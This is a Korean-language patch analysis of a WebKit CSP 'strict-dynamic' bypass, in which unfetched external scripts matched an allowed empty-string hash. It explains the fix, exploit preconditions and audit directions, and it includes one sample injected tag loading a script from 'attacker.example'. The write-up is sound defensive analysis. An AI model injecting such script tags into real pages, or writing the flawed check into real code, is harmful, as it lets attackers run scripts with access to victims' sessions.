[1] CSP strict-dynamic empty-hash bypass
The hash check that ran before the script even existed.
High. Inline 스크립트에서만 유효해야 할 content-hash 검사에 하나의 guard가 빠지면서, 아직 fetch되지 않은 외부 스크립트의 빈 본문까지 무조건 통과시키는 문제가 발생했습니다. Severity가 무조건적인 수준까지 가지 않는 이유는, 배포된 정책이 실제로 empty-string hash를 허용 목록에 포함하고 있고 공격자가 이미 markup-injection 발판을 확보한 경우에만 이 문제가 성립하기 때문입니다.
Content Security Policy는 페이지가 실행할 수 있는 script를 선언적으로 제한하는 브라우저의 allowlist 메커니즘입니다. 그런데 content로부터 도출된 검사를 아직 존재하지 않는 content에 적용하면, 이런 종류의 bypass가 통째로 열리게 됩니다. 'strict-dynamic' 정책 하에서는 host allowlist를 무시하는 대신, 이미 신뢰된 코드가 전파한 script만 신뢰하도록 브라우저에 지시합니다. 다만 parser가 삽입한 script에 대해서는 여전히 nonce, hash, integrity를 기준으로 게이트를 겁니다. WebKit은 이 조건 하에서 모든 후보 script element에 대해 script-source gate를 실행합니다. 이 gate는 원래 inline script의 알려진 본문을 해시한 뒤, 정책이 허용한 'sha256-...' 토큰과 비교하는 방식입니다. 이 방식은 검사 시점에 전체 텍스트를 확인할 수 있는 script만 content hash와 정당하게 매칭될 수 있다는 전제에 기반합니다.
관전 포인트: CSP가 empty-string hash를 허용하고 있는 페이지에서는, markup-injection 발판을 가진 공격자가 <script src="//attacker.example/evil.js">를 삽입할 수 있습니다. 이 script는 nonce도 integrity도 없이 실행되며, 결과적으로 HTML-injection primitive가 완전한 same-origin script 실행으로 격상됩니다.
Strict-dynamic 정책 하에서 WebKit은 script의 content hash가 정책이 허용한 hash 중 하나와 일치하는지 확인합니다. 이 검사는 본래 content가 알려진 inline script를 위한 것입니다. 하지만 실제로는 content가 아직 확보되지 않은 external script에도 동일하게 실행되었고, 그 결과 content가 빈 값으로 취급되었습니다. 정책이 empty string의 hash를 허용하고 있는 경우, parser가 삽입한 모든 external script가 이 조건에 매칭되어 실행되었습니다. nonce도 없고 일치하는 integrity도 없는 상태에서도 마찬가지였습니다.
패치는 script가 inline인 경우에만 content hash를 정책과 비교하도록 변경했습니다. external script는 여전히 integrity 속성을 통해 허용된 hash와 매칭될 수 있지만, 빈 본문이 empty-string hash와 매칭되는 것으로 취급되지는 않습니다. 메서드 violatedDirectiveForNonParserInsertedScripts는 violatedDirectiveForScriptUnderStrictDynamic으로 이름이 바뀌었습니다. Non-parser-inserted script만이 아니라 strict-dynamic 하의 모든 script를 게이트하기 때문입니다.
Source/WebCore/page/csp/ContentSecurityPolicyDirectiveList.cpp
LayoutTests/.../script-src-strict_dynamic_parser_inserted_module_empty_hash.html.headers
LayoutTests/.../script-src-strict_dynamic_parser_inserted_module_empty_hash.html
Patch Details
이번 변경은 strict-dynamic script gate에 국한됩니다. violatedDirectiveForScriptUnderStrictDynamic에서 content-hash 비교 checkHashes(operativeDirective, hashes)는 새로 추가된 bool isInline = url.isEmpty() 조건으로 감싸졌습니다. 그 결과 hash 비교는 inline script에 대해서만 수행됩니다. 기존의 url.isEmpty() && checkInline(...) 절도 동일한 isInline 지역 변수를 재사용하도록 리팩터링되었습니다. 호출부인 ContentSecurityPolicy::allowScriptForStrictDynamic도 이름이 바뀐 메서드를 참조하도록 수정되었고, 헤더 선언 역시 함께 변경되었습니다. WPT layout test와 그에 대응하는 expected output, 그리고 empty-string SHA-256을 포함하는 정책을 제공하는 .headers 파일이 추가되었습니다.
Content가 아직 실체화되지 않은 operand에 content-derived 검사를 적용하는 바람에, 부재 상태의 데이터가 조용히 빈 값으로 취급되어 empty-value allowance와 매칭되는 패턴입니다.
Background
이 코드가 있는 위치.
Source/WebCore/page/csp는 Content Security Policy를 실행하는 위치로, 응답마다 어떤 script source를 문서가 실행할 수 있는지를 선언적으로 결정합니다. Strict-dynamic script-source gate는 이 실행 로직의 한 갈래에 해당합니다.
Source expression과 content token의 구분.
script-src directive는 허용된 source를 host/source expression, 'nonce-...' 토큰, 혹은 'sha256-...'/'sha384-...'/'sha512-...' content-hash 토큰 형태로 나열할 수 있습니다. 'strict-dynamic'은 host/source allowlist를 무시하도록 엔진에 지시하는 대신, 이미 신뢰된 script가 프로그래밍 방식으로 전파한 script를 신뢰하게 만듭니다. 다만 parser가 삽입한 script에 대해서는 여전히 nonce, hash, integrity 검사를 적용합니다.
Inline과 external의 hashing 차이.
Content-hash 토큰은 본래 parse 시점에 전체 텍스트가 알려진 inline script를 위해 설계되었습니다. generateHashesForContent는 script 본문의 digest를 계산하고, checkHashes는 계산된 digest 중 하나라도 directive의 허용 목록에 있으면 true를 반환합니다. src로 참조되는 external script는 별도로 fetch되며, 대신 integrity 속성(Subresource Integrity)을 통해 정책을 만족시킵니다. 이는 containsAllHashes(subResourceIntegrityDigests)로 비교됩니다.
Empty-string digest.
빈 문자열에는 잘 알려진 SHA-256 값(47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=)이 존재합니다. 실제 정책이 의도적으로 빈 inline script를 허용하기 위해 이 값을 목록에 포함하는 경우가 있습니다.
Analysis
이번 문제는 메모리 손상이 아니라 로직 오류입니다. 정책 검사 자체가 우회되는 유형입니다. 패치 이전에는 strict-dynamic 하의 모든 script에 대해 checkHashes(operativeDirective, hashes)가 external script를 포함해 무조건 평가되었습니다. hashes 인자는 호출부에서 generateHashesForContent(scriptContent, ...)를 통해 생성됩니다. External script의 경우 정책 검사 시점에 본문이 아직 fetch되지 않은 상태이므로, scriptContent는 빈 값이 되고 계산된 hash 역시 empty string의 hash가 됩니다.
Before: After:
external <script src> external <script src>
body not fetched -> "" body not fetched -> ""
hash("") = empty-string hash isInline = url.isEmpty() -> false
checkHashes() matches allowed X checkHashes() SKIPPED
-> allowed, runs w/o nonce -> falls through to integrity/nonce
배포된 정책의 허용 hash 목록에 empty string의 SHA-256이 포함되어 있으면, 어떤 external script든 empty content hash가 이 값과 매칭됩니다. checkHashes가 true를 반환하면 메서드는 nullptr을 반환합니다. 즉 위반이 없다고 판단되어 script가 로드되고 실행됩니다. 이 과정에서 strict-dynamic 하에서 external script가 일치하는 nonce나 일치하는 integrity를 가져야 한다는 요구 조건이 우회됩니다. Regression test는 이 상황을 구체적으로 재현합니다. script-src 'strict-dynamic' 'nonce-dummy' 'sha256-<empty>'를 서빙하고, nonce도 integrity 속성도 없는 parser-inserted type=module external script를 주입하는데, 패치 이전에는 이 script가 그대로 실행됩니다.
패치는 hash 비교를 isInline = url.isEmpty() 조건으로 게이트합니다. 그 결과 external script(빈 값이 아닌 URL을 가진 경우)는 빈 본문이 empty-string hash와 매칭되는 것으로 취급되지 않습니다. 정당한 external 매칭은 여전히 containsAllHashes(subResourceIntegrityDigests) 경로를 통해 이루어집니다.
이 문제가 발견된 경로는 strict-dynamic 동작에 대한 spec-conformance 검토로 보입니다. 패치와 함께 empty-string-hash edge case를 정확히 겨냥한 새 WPT test가 함께 추가되었는데, 이는 우연한 crash 발견이라기보다 inline/external이 공유하는 code path에 대한 의도적인 추론에 가깝습니다.
Exploitability는 두 가지 전제 조건으로 제한됩니다. 배포된 정책이 empty-string hash를 허용 목록에 포함하고 있어야 하고, 공격자가 해당 페이지에서 markup-injection 발판을 확보하고 있어야 합니다. 두 조건이 모두 성립하면 결과적으로 페이지 origin에서 임의의 script 실행이 가능해지며, 이는 XSS에 준하는 same-origin DOM 및 credential 접근에 해당합니다. 이 동작은 전적으로 WebContent process와 same-origin script context 내부에서 이루어지며, process-sandbox 경계를 넘지는 않습니다.
이 취약점은 script 실행에 대한 CSP trust boundary를 약화시킵니다. 여기서 전제되는 모델은, strict-dynamic 하에서 parser-inserted external script가 일치하는 nonce나 일치하는 integrity를 제시해야만 실행되어야 하며, 아직 fetch되지 않은 본문이 content-hash allowance를 만족시켜서는 안 된다는 것입니다. 패치 이전에는 empty-string hash를 허용하는 정책 하에서, parser가 삽입한 모든 external <script src=...>가 nonce도 integrity도 없이 실행될 수 있었습니다.
Audit directions
- 아직 실체화되지 않은 데이터로부터 도출된 값을 validation predicate에 넘기는 패턴. 부재 상태를 처리할 때 sentinel 값(empty string, zero digest)으로 기본 처리되고, 이 sentinel이 정당한 allowlist에서 허용되는 값과 우연히 겹치는 경우가 문제입니다. Narrow:
ContentSecurityPolicyDirectiveList.cpp내generateHashesForContent/checkHashes/checkUnsafeHashes를 호출하는 다른 CSP script/style gate(violatedDirectiveForUnsafeInlineScriptElement,violatedDirectiveForInlineEventHandlers, 그리고 style variant들)를 점검하고, 검사 시점에 본문이 확실히 존재하는 operand만 hash 대상으로 삼는지 확인해야 합니다. Wider: resource의 payload가 로드되기 전에 계산된 digest/length/type을 비교하는 WebCore 내 다른 검사 지점도 살펴볼 필요가 있습니다. Widest: content-derived token을 받아들이는 다른 allowlist(SRI, package checksum, signature pinning)에서도, "content 없음" 경로가 degenerate한 empty value에 대한 allowance와 매칭되도록 악용될 수 없는지 확인해야 합니다. 패턴 식별 기준: 허용 집합과의 비교에서 한쪽 입력이 정당하게 empty/zero 값이 될 수 있는데, 코드가 "부재"와 "빈 값"을 구분하지 않는 경우입니다. - Empty-URL sentinel로부터 "inline" 여부를 추론하는 guard. 이번 케이스에서
isInline = url.isEmpty()는 "inline script"와 "빈 URL"을 동일시하고 있습니다.allowScriptForStrictDynamic의 호출부(ScriptElement.cpp에서 context URL과 실제 source URL을 전달)를 점검하고, 빈 값이 아닌 URL을 가진 inline 실행 경로나 빈 source URL(blob:,data:, module-root edge case)을 가진 external 경로가 존재하지 않는지 확인해야 합니다. 패턴 식별 기준: 명시적인 inline/external flag 대신 empty-URL 검사로 script의 inline 여부를 판단하는 코드입니다.